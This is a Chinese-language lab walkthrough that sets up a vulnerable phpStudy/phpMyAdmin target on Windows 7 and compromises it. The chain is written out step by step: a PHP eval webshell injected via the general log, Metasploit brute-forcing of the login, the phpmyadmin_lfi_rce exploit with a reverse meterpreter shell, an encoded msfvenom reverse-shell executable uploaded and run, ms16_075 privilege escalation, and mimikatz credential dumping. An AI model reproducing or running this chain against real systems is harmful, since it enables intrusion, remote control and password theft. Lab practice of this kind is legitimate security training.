文章目录
配置靶机
靶机操作系统选择windows7或者windows service 2008都可以,本文中我使用windows7虚拟机作为靶机。
新建低权限用户
为了增加攻击难度,我们在靶机上新建低权限用户,并用这个用户的权限去配置php环境。
net user as 123456… /add
net user [用户名] [密码] /add
安装phpstudy
我使用的是2018版本的phpstudy(其他版本也可),可在phpstudy官网下载
phpstudy可能需要一些环节配置,很简单,相关的安装包下载地址如下:
链接:https://pan.baidu.com/s/1yaFBw2t5Nl61DdoQGF_jyw
提取码:mvtt
为phpstudy相关服务分配权限
设置mysql权限
mysql的date文件夹 --> 属性 --> 安全 --> 编辑 --> 添加
添加权限,并应用
设置Apache权限
Apache文件夹下的logs文件夹 --> 属性
设置apache和MySQLa服务
服务中找到apche
属性 --> 登录
选用此账户,指定我们新建的低权限账户
MySQLa服务进行同样的设置
设置成功后,apache和mysql运行在as用户中
更换phpmyadmin版本
新版本的phpmyadmin中已经没有这个漏洞了。旧版的phpmyadmin下载地址如下
链接:https://pan.baidu.com/s/1XWH0nf_XsOZCMMlWkhE1mg
提取码:xiha
解压后放在phpstudy\PHPTutorial\WWW目录下
漏洞原理
登录phpmyadmin后,开启general log,并设置文件位置
这个时候,只要我们在sql模块输入一句话木马
SELECT “<?php @eval($_REQUEST[a]);?>”
这句话就会被写入www目录下的log1.php中,我们传参a=phpinfo();就会显示
之后我们就可连接菜刀或者蚁剑。
使用MSF进行漏洞利用
打开msf
开启数据库:
service postgresql start
初始化msf数据库(第一次使用msf需要):
msfdb init
开启MSF:
msfconsole
爆破靶机密码
选择密码爆破模块:
use auxiliary/scanner/http/phpmyadmin_login
设置参数并运行:
set pass_file ~/Desktop/small.txt
set rhosts 192.168.83.156 (目标主机ip)
set targeturi /phpMyAdmin/index.php (目标主机phpmyadmin登录目录)
set threads 2 (设置进程数)
run
得到了账号和密码:root:root
利用phpmyadmin漏洞进行攻击
选择对应的攻击模块
use exploit/multi/http/phpmyadmin_lfi_rce
设置参数和payload:
set rhosts 192.168.83.156 (设置目标主机ip)
set password root (设置目标主机phpmyadmin密码)
set payload php/meterpreter/reverse_tcp
set lhost 192.168.83.157 (设置攻击机机ip)
set lport 1250 (设置靶机连接攻击机的端口)
run
攻击成功。
建立稳定连接
此时是php连接,并不稳定,我们可以丢一个木马进去,用它进行连接。
生成反向连接木马
新打开一个终端(终端二)
生成一个简单的木马:
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 5 lhost=192.168.83.157 lport=1250 -f exe > shell.exe
还有很多木马生成方式,以及免杀木马,在我的另一篇文章:
https://blog.youkuaiyun.com/Mr_Wanderer/article/details/107872350
攻击机开启端口监听,等待靶机连接攻击机
打开msf,并选择端口监听模块:
msfconsole
use exploit/multi/handler
设置参数:
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.83.157
set lport 1250
(ip和端口要与生成木马时所用的本机ip和端口一致)
开启监听:
run
上传木马并运行
在之前的终端中(终端一)
上传木马:
upload shell.exe
查看是否上传成功:
dir
运行木马:
execute -f shell.exe
之后终端二会收到连接请求,并建立连接。
此时已是windows连接,较为稳定,但是目前是普通用户权限。
获取system权限失败。
提权
先把会话放到后台(终端二)
background
查看会话列表
sessions -l
选择提权模块,设置参数并运行:
use exploit/windows/local/ms16_075_reflection_juicy
set session 1
run
成功。
现在已是system权限。
获取管理员账号和密码
加载mimikatz
我们使用MSF中的mimikatz。
加载mimika:
load mimikatz
读取明文密码:
kerberos
获取hash值:
msv
有乱码,且更改了终端字符编码为简体中文后,还是有乱码
这是因为我们用提权补丁得到的会话,与mimikatz不兼容。此时可以通过迁移进程来解决乱码问题。
迁移进程
查看进程:
ps
选择一个有system权限的进程,比如services.exe
迁移进程:
migrate 568
之后再次获取明文密码和hash值,不再有乱码。